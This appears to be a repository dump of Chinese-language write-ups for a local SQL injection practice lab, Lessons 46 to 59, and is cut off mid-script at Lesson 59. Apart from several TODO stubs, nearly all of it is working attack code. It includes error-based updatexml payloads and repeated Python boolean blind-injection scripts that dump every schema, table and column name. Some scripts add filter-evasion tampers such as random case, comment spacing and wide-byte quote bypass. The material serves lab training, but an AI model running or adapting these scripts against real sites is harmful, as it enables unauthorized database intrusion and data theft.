"http://127.0.0.1/Less-46/?sort=" 14 | check_symbol = chr(0x5e) + chr(0x24) 15 | symbol = "0x5e24" 16 | payload = "1 and (updatexml(1,concat(" + symbol + ",(" + sql + ")," + symbol + "),1))" 17 | response = requests.get(url+payload) 18 | content = response.text 19 | result = content.split(check_symbol)[1] 20 | print(result) 21 | ``` 22 | -------------------------------------------------------------------------------- /writeup/Lesson-47.md: -------------------------------------------------------------------------------- 1 | # Lesson-47 2 | ``` 3 | 报错注入 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-47/?sort=0%27and%20(updatexml(1,concat(0x5e24,(user()),0x5e24),1))--+ 8 | ``` 9 | -------------------------------------------------------------------------------- /writeup/Lesson-48.md: -------------------------------------------------------------------------------- 1 | # Lesson-48 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-49.md: -------------------------------------------------------------------------------- 1 | # Lesson-49 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-50.md: -------------------------------------------------------------------------------- 1 | # Lesson-50 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-51.md: -------------------------------------------------------------------------------- 1 | # Lesson-51 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-52.md: -------------------------------------------------------------------------------- 1 | # Lesson-52 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-53.md: -------------------------------------------------------------------------------- 1 | # Lesson-53 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-54.md: -------------------------------------------------------------------------------- 1 | # Lesson-54 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "0'|()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 17 | success_symbol = "Your Login name:" 18 | url = "http://127.0.0.1/Less-54/index.php?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema'] 29 | # define-end 30 | 31 | # TODO-start 32 | # 优化显示 33 | # TODO-end 34 | 35 | def temper(temppayload): 36 | # temppayload = temppayload.replace(" ","/**/") 37 | # temppayload = temppayload.replace(" ","%a0") 38 | # temppayload = temppayload.replace("or","oorr") 39 | # temppayload = temppayload.replace("and","anandd") 40 | return temppayload 41 | 42 | def getRandomType(keywords): 43 | # TODO 返回随机大小写 44 | return "" 45 | 46 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 47 | global payload 48 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 49 | startStr = payload.split("()")[0] 50 | endStr = payload.split("()")[1] 51 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 52 | temppayload = "((asCIi(sUBString((sELEct " + column_name + " FRom " + database_name + "." + table_name + " " + where + " liMit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 53 | temppayload = startStr + temppayload + endStr 54 | # temper 55 | temppayload = temper(temppayload) 56 | return temppayload 57 | 58 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 59 | global success_symbol 60 | global url 61 | # content-start 62 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 63 | # print tempurl 64 | content = requests.get(tempurl).text 65 | # print content 66 | # content-end 67 | # judge-start 68 | if success_symbol in content: 69 | return True 70 | else: 71 | return False 72 | # judge-end 73 | 74 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 75 | while left_number < right_number: 76 | mid = int((left_number + right_number) / 2) 77 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 78 | left_number = mid 79 | else: 80 | right_number = mid 81 | if left_number == right_number - 1: 82 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 83 | mid += 1 84 | break 85 | else: 86 | break 87 | return chr(mid) 88 | 89 | def getAllData(database_name, table_name, column_name, where): 90 | allData = [] 91 | for i in range(32): # 需要遍历的查询结果的数量 92 | counter = 0 93 | data = "" 94 | for j in range(32): # 结果的长度 95 | counter += 1 96 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 97 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 98 | break 99 | sys.stdout.write(temp) 100 | sys.stdout.flush() 101 | data += temp 102 | if counter == 1: # 当结果集的所有行都被遍历后退出 103 | break 104 | sys.stdout.write("\r\n") 105 | sys.stdout.flush() 106 | allData.append(data) 107 | return allData 108 | 109 | def getAllSchemaNames(): 110 | return getAllData(column_name="scheMA_Name", table_name="schemaTa", database_name="inforMATion_scheMa", where="") 111 | 112 | def getAllTableNames(schema_name): 113 | return getAllData(column_name="taBLE_NAmE", table_name="TabLes", database_name="inforMATion_scheMa", where="where(table_SCHEmA='" + schema_name + "')") 114 | 115 | def getAllColumnNames(schema_name, table_name): 116 | return getAllData(column_name="coLUmn_NAMe", table_name="cOLUmns", database_name="inforMATion_scheMa", where="where(tABle_NaME='" + table_name + "' and tABLe_sCHEma='" + schema_name + "')") 117 | 118 | 119 | def hack(): 120 | print "================================" 121 | print "正在获取所有数据库 ..." 122 | allSchemaNames = getAllSchemaNames() 123 | print "所有数据库名获取完毕 !" 124 | print "================================" 125 | print "正在获取所有数据库表名 ..." 126 | tempDic = {} 127 | allUserSchemaNames = [] 128 | for schema_name in allSchemaNames: 129 | print "--------------------------------" 130 | print "当前数据库 : " + schema_name + "\t", 131 | IS_SYSTEM_SCHEMA = False 132 | for system_schema_name in system_schema_names: 133 | if system_schema_name == schema_name: 134 | print "Mysql自带系统数据库 , 智能忽略 !" 135 | IS_SYSTEM_SCHEMA = True 136 | break 137 | if not IS_SYSTEM_SCHEMA: 138 | print "" 139 | allUserSchemaNames.append(schema_name) 140 | tempDic[schema_name] = getAllTableNames(schema_name) 141 | print "所有表名获取完毕!" 142 | print "================================" 143 | print "正在获取所有表列名 ..." 144 | for schema_name in allUserSchemaNames: 145 | print "--------------------------------" 146 | for table_name in tempDic[schema_name]: 147 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 148 | getAllColumnNames(schema_name, table_name) 149 | print "所有列名获取完毕!" 150 | print "================================" 151 | 152 | hack() 153 | ``` 154 | -------------------------------------------------------------------------------- /writeup/Lesson-55.md: -------------------------------------------------------------------------------- 1 | # Lesson-55 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "0)|()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 17 | success_symbol = "Your Login name:" 18 | url = "http://127.0.0.1/Less-55/index.php?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema'] 29 | # define-end 30 | 31 | # TODO-start 32 | # 优化显示 33 | # TODO-end 34 | 35 | def temper(temppayload): 36 | # temppayload = temppayload.replace(" ","/**/") 37 | # temppayload = temppayload.replace(" ","%a0") 38 | # temppayload = temppayload.replace("or","oorr") 39 | # temppayload = temppayload.replace("and","anandd") 40 | return temppayload 41 | 42 | def getRandomType(keywords): 43 | # TODO 返回随机大小写 44 | return "" 45 | 46 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 47 | global payload 48 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 49 | startStr = payload.split("()")[0] 50 | endStr = payload.split("()")[1] 51 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 52 | temppayload = "((asCIi(sUBString((sELEct " + column_name + " FRom " + database_name + "." + table_name + " " + where + " liMit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 53 | temppayload = startStr + temppayload + endStr 54 | # temper 55 | temppayload = temper(temppayload) 56 | return temppayload 57 | 58 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 59 | global success_symbol 60 | global url 61 | # content-start 62 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 63 | # print tempurl 64 | content = requests.get(tempurl).text 65 | # print content 66 | # content-end 67 | # judge-start 68 | if success_symbol in content: 69 | return True 70 | else: 71 | return False 72 | # judge-end 73 | 74 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 75 | while left_number < right_number: 76 | mid = int((left_number + right_number) / 2) 77 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 78 | left_number = mid 79 | else: 80 | right_number = mid 81 | if left_number == right_number - 1: 82 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 83 | mid += 1 84 | break 85 | else: 86 | break 87 | return chr(mid) 88 | 89 | def getAllData(database_name, table_name, column_name, where): 90 | allData = [] 91 | for i in range(32): # 需要遍历的查询结果的数量 92 | counter = 0 93 | data = "" 94 | for j in range(32): # 结果的长度 95 | counter += 1 96 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 97 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 98 | break 99 | sys.stdout.write(temp) 100 | sys.stdout.flush() 101 | data += temp 102 | if counter == 1: # 当结果集的所有行都被遍历后退出 103 | break 104 | sys.stdout.write("\r\n") 105 | sys.stdout.flush() 106 | allData.append(data) 107 | return allData 108 | 109 | def getAllSchemaNames(): 110 | return getAllData(column_name="scheMA_Name", table_name="schemaTa", database_name="inforMATion_scheMa", where="") 111 | 112 | def getAllTableNames(schema_name): 113 | return getAllData(column_name="taBLE_NAmE", table_name="TabLes", database_name="inforMATion_scheMa", where="where(table_SCHEmA='" + schema_name + "')") 114 | 115 | def getAllColumnNames(schema_name, table_name): 116 | return getAllData(column_name="coLUmn_NAMe", table_name="cOLUmns", database_name="inforMATion_scheMa", where="where(tABle_NaME='" + table_name + "' and tABLe_sCHEma='" + schema_name + "')") 117 | 118 | 119 | def hack(): 120 | print "================================" 121 | print "正在获取所有数据库 ..." 122 | allSchemaNames = getAllSchemaNames() 123 | print "所有数据库名获取完毕 !" 124 | print "================================" 125 | print "正在获取所有数据库表名 ..." 126 | tempDic = {} 127 | allUserSchemaNames = [] 128 | for schema_name in allSchemaNames: 129 | print "--------------------------------" 130 | print "当前数据库 : " + schema_name + "\t", 131 | IS_SYSTEM_SCHEMA = False 132 | for system_schema_name in system_schema_names: 133 | if system_schema_name == schema_name: 134 | print "Mysql自带系统数据库 , 智能忽略 !" 135 | IS_SYSTEM_SCHEMA = True 136 | break 137 | if not IS_SYSTEM_SCHEMA: 138 | print "" 139 | allUserSchemaNames.append(schema_name) 140 | tempDic[schema_name] = getAllTableNames(schema_name) 141 | print "所有表名获取完毕!" 142 | print "================================" 143 | print "正在获取所有表列名 ..." 144 | for schema_name in allUserSchemaNames: 145 | print "--------------------------------" 146 | for table_name in tempDic[schema_name]: 147 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 148 | getAllColumnNames(schema_name, table_name) 149 | print "所有列名获取完毕!" 150 | print "================================" 151 | 152 | hack() 153 | ``` 154 | -------------------------------------------------------------------------------- /writeup/Lesson-56.md: -------------------------------------------------------------------------------- 1 | # Lesson-56 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "0')||()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 17 | success_symbol = "Your Login name:" 18 | url = "http://127.0.0.1/Less-56/index.php?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema'] 29 | # define-end 30 | 31 | # TODO-start 32 | # 优化显示 33 | # TODO-end 34 | 35 | def temper(temppayload): 36 | # temppayload = temppayload.replace(" ","/**/") 37 | # temppayload = temppayload.replace(" ","%a0") 38 | # temppayload = temppayload.replace("or","oorr") 39 | # temppayload = temppayload.replace("and","anandd") 40 | return temppayload 41 | 42 | def getRandomType(keywords): 43 | # TODO 返回随机大小写 44 | return "" 45 | 46 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 47 | global payload 48 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 49 | startStr = payload.split("()")[0] 50 | endStr = payload.split("()")[1] 51 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 52 | temppayload = "((asCIi(sUBString((sELEct " + column_name + " FRom " + database_name + "." + table_name + " " + where + " liMit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 53 | temppayload = startStr + temppayload + endStr 54 | # temper 55 | temppayload = temper(temppayload) 56 | return temppayload 57 | 58 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 59 | global success_symbol 60 | global url 61 | # content-start 62 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 63 | # print tempurl 64 | content = requests.get(tempurl).text 65 | # print content 66 | # content-end 67 | # judge-start 68 | if success_symbol in content: 69 | return True 70 | else: 71 | return False 72 | # judge-end 73 | 74 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 75 | while left_number < right_number: 76 | mid = int((left_number + right_number) / 2) 77 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 78 | left_number = mid 79 | else: 80 | right_number = mid 81 | if left_number == right_number - 1: 82 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 83 | mid += 1 84 | break 85 | else: 86 | break 87 | return chr(mid) 88 | 89 | def getAllData(database_name, table_name, column_name, where): 90 | allData = [] 91 | for i in range(32): # 需要遍历的查询结果的数量 92 | counter = 0 93 | data = "" 94 | for j in range(32): # 结果的长度 95 | counter += 1 96 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 97 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 98 | break 99 | sys.stdout.write(temp) 100 | sys.stdout.flush() 101 | data += temp 102 | if counter == 1: # 当结果集的所有行都被遍历后退出 103 | break 104 | sys.stdout.write("\r\n") 105 | sys.stdout.flush() 106 | allData.append(data) 107 | return allData 108 | 109 | def getAllSchemaNames(): 110 | return getAllData(column_name="scheMA_Name", table_name="schemaTa", database_name="inforMATion_scheMa", where="") 111 | 112 | def getAllTableNames(schema_name): 113 | return getAllData(column_name="taBLE_NAmE", table_name="TabLes", database_name="inforMATion_scheMa", where="where(table_SCHEmA='" + schema_name + "')") 114 | 115 | def getAllColumnNames(schema_name, table_name): 116 | return getAllData(column_name="coLUmn_NAMe", table_name="cOLUmns", database_name="inforMATion_scheMa", where="where(tABle_NaME='" + table_name + "' and tABLe_sCHEma='" + schema_name + "')") 117 | 118 | 119 | def hack(): 120 | print "================================" 121 | print "正在获取所有数据库 ..." 122 | allSchemaNames = getAllSchemaNames() 123 | print "所有数据库名获取完毕 !" 124 | print "================================" 125 | print "正在获取所有数据库表名 ..." 126 | tempDic = {} 127 | allUserSchemaNames = [] 128 | for schema_name in allSchemaNames: 129 | print "--------------------------------" 130 | print "当前数据库 : " + schema_name + "\t", 131 | IS_SYSTEM_SCHEMA = False 132 | for system_schema_name in system_schema_names: 133 | if system_schema_name == schema_name: 134 | print "Mysql自带系统数据库 , 智能忽略 !" 135 | IS_SYSTEM_SCHEMA = True 136 | break 137 | if not IS_SYSTEM_SCHEMA: 138 | print "" 139 | allUserSchemaNames.append(schema_name) 140 | tempDic[schema_name] = getAllTableNames(schema_name) 141 | print "所有表名获取完毕!" 142 | print "================================" 143 | print "正在获取所有表列名 ..." 144 | for schema_name in allUserSchemaNames: 145 | print "--------------------------------" 146 | for table_name in tempDic[schema_name]: 147 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 148 | getAllColumnNames(schema_name, table_name) 149 | print "所有列名获取完毕!" 150 | print "================================" 151 | 152 | hack() 153 | ``` 154 | -------------------------------------------------------------------------------- /writeup/Lesson-57.md: -------------------------------------------------------------------------------- 1 | # Lesson-57 2 | ``` 3 | Bool盲注,-宽字节绕过 4 | ``` 5 | 6 | --- 7 | > 8 | 完善了刚才的脚本 , 添加了随机大小写功能 , 更具有健壮性 9 | 用户可根据自己的需求添加需要随机大小写绕过的关键字 10 | 11 | --- 12 | ``` 13 | #!/usr/bin/env python 14 | # encoding:utf8 15 | 16 | import requests 17 | import time 18 | import sys 19 | import random 20 | 21 | # hack-config-start 22 | payload = "0%df\"||()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 23 | success_symbol = "Your Login name:" 24 | url = "http://127.0.0.1/Less-57/index.php?id=" 25 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 26 | # hack-config-end 27 | 28 | # config-start 29 | sleep_time = 5 30 | error_time = 1 31 | # config-end 32 | 33 | # define-start 34 | system_schema_names = ['information_schema','test','mysql','performance_schema'] 35 | # 关键字 36 | random_up_low_keywords = ['select','union','from','limit'] 37 | # 函数名 38 | random_up_low_keywords.append('ascii') 39 | random_up_low_keywords.append('substring') 40 | # 系统库名/表名/列名 41 | random_up_low_keywords.append('information_schema') 42 | random_up_low_keywords.append('schemata') 43 | random_up_low_keywords.append('tables') 44 | random_up_low_keywords.append('columns') 45 | random_up_low_keywords.append('schema_name') 46 | random_up_low_keywords.append('table_name') 47 | random_up_low_keywords.append('column_name') 48 | # define-end 49 | 50 | # TODO-start 51 | # 优化显示 52 | # TODO-end 53 | 54 | def temper(tempPayload): 55 | global random_up_low_keywords 56 | for tempKeyword in random_up_low_keywords: 57 | tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword)) 58 | tempPayload = tempPayload.replace(" ","/**/") 59 | tempPayload = tempPayload.replace(" ","%a0") 60 | # tempPayload = tempPayload.replace("or","oorr") 61 | # tempPayload = tempPayload.replace("and","anandd") 62 | return tempPayload 63 | 64 | def getRandomType(keywords): 65 | # TODO 返回随机大小写 66 | random_int = random.randint(0, len(keywords) - 1) 67 | tempList = list(keywords) 68 | tempList[random_int] = tempList[random_int].upper() 69 | return "".join(tempList) 70 | 71 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 72 | global payload 73 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 74 | startStr = payload.split("()")[0] 75 | endStr = payload.split("()")[1] 76 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 77 | temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 78 | temppayload = startStr + temppayload + endStr 79 | # temper 80 | temppayload = temper(temppayload) 81 | return temppayload 82 | 83 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 84 | global success_symbol 85 | global url 86 | # content-start 87 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 88 | content = requests.get(tempurl).text 89 | # print content 90 | # content-end 91 | # judge-start 92 | if success_symbol in content: 93 | return True 94 | else: 95 | return False 96 | # judge-end 97 | 98 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 99 | while left_number < right_number: 100 | mid = int((left_number + right_number) / 2) 101 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 102 | left_number = mid 103 | else: 104 | right_number = mid 105 | if left_number == right_number - 1: 106 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 107 | mid += 1 108 | break 109 | else: 110 | break 111 | return chr(mid) 112 | 113 | def getAllData(database_name, table_name, column_name, where): 114 | allData = [] 115 | for i in range(32): # 需要遍历的查询结果的数量 116 | counter = 0 117 | data = "" 118 | for j in range(32): # 结果的长度 119 | counter += 1 120 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 121 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 122 | break 123 | sys.stdout.write(temp) 124 | sys.stdout.flush() 125 | data += temp 126 | if counter == 1: # 当结果集的所有行都被遍历后退出 127 | break 128 | sys.stdout.write("\r\n") 129 | sys.stdout.flush() 130 | allData.append(data) 131 | return allData 132 | 133 | def getAllSchemaNames(): 134 | return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="") 135 | 136 | def getAllTableNames(schema_name): 137 | return getAllData(column_name="table_name", table_name="tables", database_name="information_schema", where="where(table_schema='" + schema_name + "')") 138 | 139 | def getAllColumnNames(schema_name, table_name): 140 | return getAllData(column_name="column_name", table_name="columns", database_name="information_schema", where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')") 141 | 142 | 143 | def hack(): 144 | print "================================" 145 | print "正在获取所有数据库 ..." 146 | allSchemaNames = getAllSchemaNames() 147 | print "所有数据库名获取完毕 !" 148 | print "================================" 149 | print "正在获取所有数据库表名 ..." 150 | tempDic = {} 151 | allUserSchemaNames = [] 152 | for schema_name in allSchemaNames: 153 | print "--------------------------------" 154 | print "当前数据库 : " + schema_name + "\t", 155 | IS_SYSTEM_SCHEMA = False 156 | for system_schema_name in system_schema_names: 157 | if system_schema_name == schema_name: 158 | print "Mysql自带系统数据库 , 智能忽略 !" 159 | IS_SYSTEM_SCHEMA = True 160 | break 161 | if not IS_SYSTEM_SCHEMA: 162 | print "" 163 | allUserSchemaNames.append(schema_name) 164 | tempDic[schema_name] = getAllTableNames(schema_name) 165 | print "所有表名获取完毕!" 166 | print "================================" 167 | print "正在获取所有表列名 ..." 168 | for schema_name in allUserSchemaNames: 169 | print "--------------------------------" 170 | for table_name in tempDic[schema_name]: 171 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 172 | getAllColumnNames(schema_name, table_name) 173 | print "所有列名获取完毕!" 174 | print "================================" 175 | 176 | hack() 177 | ``` 178 | -------------------------------------------------------------------------------- /writeup/Lesson-58.md: -------------------------------------------------------------------------------- 1 | # Lesson-58 2 | ``` 3 | Bool盲注,-宽字节绕过 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "0%df'|()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 17 | success_symbol = "Your Login name :" 18 | url = "http://127.0.0.1/Less-58/index.php?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema','phpmyadmin'] 29 | # 关键字 30 | random_up_low_keywords = ['select','union','from','limit'] 31 | # 函数名 32 | random_up_low_keywords.append('ascii') 33 | random_up_low_keywords.append('substring') 34 | # 系统库名/表名/列名 35 | random_up_low_keywords.append('information_schema') 36 | random_up_low_keywords.append('schemata') 37 | random_up_low_keywords.append('tables') 38 | random_up_low_keywords.append('columns') 39 | random_up_low_keywords.append('schema_name') 40 | random_up_low_keywords.append('table_name') 41 | random_up_low_keywords.append('column_name') 42 | # define-end 43 | 44 | # TODO-start 45 | # 优化显示 46 | # TODO-end 47 | 48 | def temper(tempPayload): 49 | global random_up_low_keywords 50 | for tempKeyword in random_up_low_keywords: 51 | tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword)) 52 | tempPayload = tempPayload.replace(" ","/**/") 53 | tempPayload = tempPayload.replace(" ","%a0") 54 | # tempPayload = tempPayload.replace("or","oorr") 55 | # tempPayload = tempPayload.replace("and","anandd") 56 | return tempPayload 57 | 58 | def getRandomType(keywords): 59 | # TODO 返回随机大小写 60 | random_int = random.randint(0, len(keywords) - 1) 61 | tempList = list(keywords) 62 | tempList[random_int] = tempList[random_int].upper() 63 | return "".join(tempList) 64 | 65 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 66 | global payload 67 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 68 | startStr = payload.split("()")[0] 69 | endStr = payload.split("()")[1] 70 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 71 | temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 72 | temppayload = startStr + temppayload + endStr 73 | # temper 74 | temppayload = temper(temppayload) 75 | return temppayload 76 | 77 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 78 | global success_symbol 79 | global url 80 | # content-start 81 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 82 | content = requests.get(tempurl).text 83 | # print content 84 | # content-end 85 | # judge-start 86 | if success_symbol in content: 87 | return True 88 | else: 89 | return False 90 | # judge-end 91 | 92 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 93 | while left_number < right_number: 94 | mid = int((left_number + right_number) / 2) 95 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 96 | left_number = mid 97 | else: 98 | right_number = mid 99 | if left_number == right_number - 1: 100 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 101 | mid += 1 102 | break 103 | else: 104 | break 105 | return chr(mid) 106 | 107 | def getAllData(database_name, table_name, column_name, where): 108 | allData = [] 109 | for i in range(32): # 需要遍历的查询结果的数量 110 | counter = 0 111 | data = "" 112 | for j in range(32): # 结果的长度 113 | counter += 1 114 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 115 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 116 | break 117 | sys.stdout.write(temp) 118 | sys.stdout.flush() 119 | data += temp 120 | if counter == 1: # 当结果集的所有行都被遍历后退出 121 | break 122 | sys.stdout.write("\r\n") 123 | sys.stdout.flush() 124 | allData.append(data) 125 | return allData 126 | 127 | def getAllSchemaNames(): 128 | return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="") 129 | 130 | def getAllTableNames(schema_name): 131 | return getAllData(column_name="table_name", table_name="tables", database_name="information_schema", where="where(table_schema='" + schema_name + "')") 132 | 133 | def getAllColumnNames(schema_name, table_name): 134 | return getAllData(column_name="column_name", table_name="columns", database_name="information_schema", where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')") 135 | 136 | 137 | def hack(): 138 | print "================================" 139 | print "正在获取所有数据库 ..." 140 | allSchemaNames = getAllSchemaNames() 141 | print "所有数据库名获取完毕 !" 142 | print "================================" 143 | print "正在获取所有数据库表名 ..." 144 | tempDic = {} 145 | allUserSchemaNames = [] 146 | for schema_name in allSchemaNames: 147 | print "--------------------------------" 148 | print "当前数据库 : " + schema_name + "\t", 149 | IS_SYSTEM_SCHEMA = False 150 | for system_schema_name in system_schema_names: 151 | if system_schema_name == schema_name: 152 | print "Mysql自带系统数据库 , 智能忽略 !" 153 | IS_SYSTEM_SCHEMA = True 154 | break 155 | if not IS_SYSTEM_SCHEMA: 156 | print "" 157 | allUserSchemaNames.append(schema_name) 158 | tempDic[schema_name] = getAllTableNames(schema_name) 159 | print "所有表名获取完毕!" 160 | print "================================" 161 | print "正在获取所有表列名 ..." 162 | for schema_name in allUserSchemaNames: 163 | print "--------------------------------" 164 | for table_name in tempDic[schema_name]: 165 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 166 | getAllColumnNames(schema_name, table_name) 167 | print "所有列名获取完毕!" 168 | print "================================" 169 | 170 | hack() 171 | ``` 172 | -------------------------------------------------------------------------------- /writeup/Lesson-59.md: -------------------------------------------------------------------------------- 1 | # Lesson-59 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "0|()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 17 | success_symbol = "Your Login name :" 18 | url = "http://127.0.0.1/Less-59/index.php?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema','phpmyadmin'] 29 | # 关键字 30 | 